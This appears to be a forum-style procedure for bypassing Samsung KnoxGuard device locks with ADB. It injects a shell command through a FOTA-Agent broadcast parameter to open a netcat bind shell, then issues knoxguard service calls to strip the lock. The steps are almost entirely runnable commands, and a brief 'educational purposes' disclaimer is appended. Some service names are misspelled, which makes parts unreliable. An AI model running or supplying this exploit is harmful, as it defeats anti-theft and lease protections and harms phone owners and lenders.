- Factory Reset phone.
- Enable Adb (if old security via ZeroKnox Removal, if new by QR code)
- Install apk FOTA-Agent.
- Extract platform-tools if not exits, open CMD and put this commads:
cd (drag and drop folder platform-tools)
adb shell am broadcast -a com.sdet.fotaagent.intent.CP_FILE -e CP_FILE /system -e CP_LOC ' ; toybox netcat -s 127.0.0.1 -p 8133 -L sh -l'. - Open another CMD(but not close first cmd) and put this command :
adb shell nc 127.0.0.1 8133
service call knoxquard service 36
service call knoxquard service 40 s16 'null'
service call knoxguard service 39
reboot - After reboot check phone. If not locked again, disable Update.
WARNING: Only for educational purposes. Any attempts to unlock a stolen or leased phone are strictly punishable by criminal law. The author is not responsible.
Requirements:
SDK platform-tools(for adb operations)
FOTA-Agent.apk